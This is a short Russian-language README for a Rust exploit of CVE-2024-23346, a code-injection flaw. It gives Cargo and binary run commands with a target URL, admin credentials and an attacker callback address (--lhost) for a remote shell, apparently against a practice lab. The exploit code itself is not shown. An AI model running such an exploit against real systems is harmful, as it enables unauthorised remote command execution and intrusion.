CVE-2024-23346-rust-exploit

Скрипт эксплойта на Rust для CVE-2024-23346.

Как показано ниже, POC использует уязвимость внедрения кода и выполняет удалённые команды оболочки, как в терминале.

poc.webm

---

Шаги для запуска эксплойта:

• Запустите напрямую с помощью Cargo
  • cargo run -- --help
  • cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

ИЛИ

• Скомпилируйте бинарный файл: cargo build -r (бинарный файл будет в target/release/poc)
• Запустите бинарный файл:
  • ./poc --help
  • ./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19

---

Скрипт эксплойта вдохновлён экспертом по Python-скриптам MAWK0235